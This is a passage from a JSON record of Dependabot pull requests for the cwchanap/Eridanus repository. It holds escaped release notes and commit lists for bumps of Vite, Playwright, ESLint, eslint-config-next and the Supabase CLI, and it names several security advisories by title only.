href=\"https://github.com/vitejs/vite/commit/9944fa6033873f13ae88f59e023ab642c50fee2b\"\u003e9944fa6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23602\"\u003e#23602\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/88c17415af221b3a13e778f4f2c0e907c8287baf\"\u003e88c1741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e resolve percent-encoded srcset urls (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23609\"\u003e#23609\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/53f1ce7bfe38426861f6da572ef0e3359f6a80cd\"\u003e53f1ce7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003elimit size of object and array printing via \u003ccode\u003eforwardConsole\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23565\"\u003e#23565\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e64a5877dd3e552843a545749ccc257568917d28\"\u003ee64a587\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/b6c20f6a8126d8561891e5fb9368e8fc9da37538\"\u003e\u003ccode\u003eb6c20f6\u003c/code\u003e\u003c/a\u003e release: v8.3.4 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23702\"\u003e#23702\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/b28db28e9e62d9866a9a0f1b22e74589cc180577\"\u003e\u003ccode\u003eb28db28\u003c/code\u003e\u003c/a\u003e fix(server): match static aliases on path boundaries (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23643\"\u003e#23643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/bc0f21c56a2e003a4d2dd23ccb9da3ec8c706c4e\"\u003e\u003ccode\u003ebc0f21c\u003c/code\u003e\u003c/a\u003e feat(bundled-dev): support \u003ccode\u003eimport.meta.hot.acceptExports\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23463\"\u003e#23463\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/fa7146938b0ca703653c90c20907191a01c032ba\"\u003e\u003ccode\u003efa71469\u003c/code\u003e\u003c/a\u003e fix(client): skip rewriting unchanged adopted styles (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23697\"\u003e#23697\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/...\n\n_Description has been truncated_","html_url":"https://github.com/cwchanap/Eridanus/pull/25","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/cwchanap%2FEridanus/issues/25","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/25/packages"},{"uuid":"6009563045","node_id":"PR_kwDOROB3hs8AAAABKZYXrA","number":85,"state":"open","title":"chore(deps-dev): bump the development group with 5 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T05:05:13.000Z","updated_at":"2026-10-24T05:06:05.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"development","update_count":5,"packages":[{"name":"@playwright/test","old_version":"1.64.0","new_version":"1.64.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-config-next","old_version":"16.4.0","new_version":"16.4.2","repository_url":"https://github.com/vercel/next.js"},{"name":"supabase","old_version":"2.120.0","new_version":"2.121.0","repository_url":"https://github.com/supabase/cli"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the development group with 5 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.64.0` | `1.64.1` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [eslint-config-next](https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next) | `16.4.0` | `16.4.2` |\n| [supabase](https://github.com/supabase/cli/tree/HEAD/apps/cli) | `2.120.0` | `2.121.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.4` | `5.0.5` |\n\nUpdates `@playwright/test` from 1.64.0 to 1.64.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/playwright/releases\"\u003e@​playwright/test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.64.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43247\"\u003e#43247\u003c/a\u003e [Bug]: _electron.launch intermittently loses a packaged app's first window since 1.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43242\"\u003e#43242\u003c/a\u003e [Regression]: Chromium 155+ aborts a preflighted cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.64.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.12.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.12.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint-config-next` from 16.4.0 to 16.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003eeslint-config-next's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.4.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[lts-active] turbo-tasks snapshot consistency fixes (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99644\"\u003e#99644\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99732\"\u003e#99732\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99649\"\u003e#99649\u003c/a\u003e) by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100002\"\u003evercel/next.js#100002\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: backport Pages Router dev module graph chaining (\u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/98823\"\u003e#98823\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/99910\"\u003e#99910\u003c/a\u003e, \u003ca href=\"https://github.com/vercel/next.js/tree/HEAD/packages/eslint-config-next/issues/100091\"\u003e#100091\u003c/a\u003e) by \u003ca href=\"https://github.com/sokra\"\u003e\u003ccode\u003e@​sokra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100008\"\u003evercel/next.js#100008\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] fix(next-code-frame): snap visible window to char boundaries by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100212\"\u003evercel/next.js#100212\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] [turbopack] Fix two GC paths that leave half-torn-down dependency edges by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100209\"\u003evercel/next.js#100209\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Turbopack: Ignore realpath errors during module resolution, matching node's behavior by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100217\"\u003evercel/next.js#100217\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport docs fixes since v16.4.0 by \u003ca href=\"https://github.com/icyJoseph\"\u003e\u003ccode\u003e@​icyJoseph\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100246\"\u003evercel/next.js#100246\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Fix Turbopack lazy dynamic-import chunk-list collisions by \u003ca href=\"https://github.com/lukesandberg\"\u003e\u003ccode\u003e@​lukesandberg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100211\"\u003evercel/next.js#100211\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[lts-active] Backport additional documentation fixes since v16.4.0 by \u003ca href=\"https://github.com/aurorascharff\"\u003e\u003ccode\u003e@​aurorascharff\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vercel/next.js/pull/100262\"\u003evercel/next.js#100262\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\"\u003ehttps://github.com/vercel/next.js/compare/v16.4.1...v16.4.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.4.1\u003c/h2\u003e\n\u003cp\u003eThis release contains security fixes for the following advisories:\u003c/p\u003e\n\u003cp\u003eCritical:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-673q-mjm6-r5xr\"\u003eUnauthenticated Remote Code Execution in \u003ccode\u003euse cache\u003c/code\u003e functions returning typed arrays\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw\"\u003eUnauthenticated Remote Code Execution in Image Optimization API when SVG files are used\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHigh:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/security/advisories/GHSA-p3m5-59mp-jv5r\"\u003eDenial of Service in App Router using Server Actions\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/2864b1772c37242a9b40ab4d366eb7d368c2a070\"\u003e\u003ccode\u003e2864b17\u003c/code\u003e\u003c/a\u003e v16.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/7217011ac0d689026884dd28536a0c7f3c98ba77\"\u003e\u003ccode\u003e7217011\u003c/code\u003e\u003c/a\u003e v16.4.1\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/commits/v16.4.2/packages/eslint-config-next\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `supabase` from 2.120.0 to 2.121.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/cli/releases\"\u003esupabase's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.121.0\u003c/h2\u003e\n\u003ch2\u003eSupabase CLI v2.121.0 — 2026-10-14\u003c/h2\u003e\n\u003cp\u003eThis release is mostly stack reliability fixes, plus new \u003ccode\u003estack\u003c/code\u003e options and deprecation warnings you'll want to see before the next major version. Most entries below are from PR titles, not full PR review.\u003c/p\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOrioleDB through \u003ccode\u003edb.orioledb_version\u003c/code\u003e\u003c/strong\u003e — set the OrioleDB version in config instead of relying on a separate setup path. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRepeatable \u003ccode\u003e--stack-id\u003c/code\u003e in \u003ccode\u003estack destroy\u003c/code\u003e\u003c/strong\u003e — tear down several stacks in one command. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway requests show up in Studio\u003c/strong\u003e — API Gateway logs in Studio now include requests that pass through the local stack gateway. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6942\"\u003e#6942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003estack destroy --stack-id\u003c/code\u003e accepts multiple IDs\u003c/strong\u003e — e.g. \u003ccode\u003esupabase stack destroy --stack-id a --stack-id b\u003c/code\u003e. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLeftover containers from deleted stacks get cleaned up\u003c/strong\u003e — stale containers are removed automatically instead of piling up. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7017\"\u003e#7017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eChanged endpoint ports apply on restart\u003c/strong\u003e — if you change endpoint ports while a stack is stopped, the new ports are used the next time it starts. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6950\"\u003e#6950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeprecation warnings for \u003ccode\u003edb pull\u003c/code\u003e and \u003ccode\u003edomains\u003c/code\u003e flags\u003c/strong\u003e — you now see a warning at runtime when you use a deprecated flag. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7115\"\u003e#7115\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e defaults to stream-json for agents\u003c/strong\u003e — when running non-interactively, output is streamed as JSON so agent tooling can parse it. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7027\"\u003e#7027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHeads-up: deprecated config, env vars and import maps will be removed in the next major version\u003c/strong\u003e — the CLI now warns when you use them. Migrate before upgrading to that major. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7154\"\u003e#7154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearer \u003ccode\u003edb remote commit\u003c/code\u003e and \u003ccode\u003einspect db\u003c/code\u003e deprecation messages\u003c/strong\u003e — the warnings now say the features are removed in the next major version. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7108\"\u003e#7108\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMore specific failure telemetry\u003c/strong\u003e — stack and platform failures are classified and named more precisely, which makes issues easier to triage. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7044\"\u003e#7044\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7113\"\u003e#7113\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7067\"\u003e#7067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase start\u003c/code\u003e works with Podman when no snippets are present.\u003c/strong\u003e (\u003ca 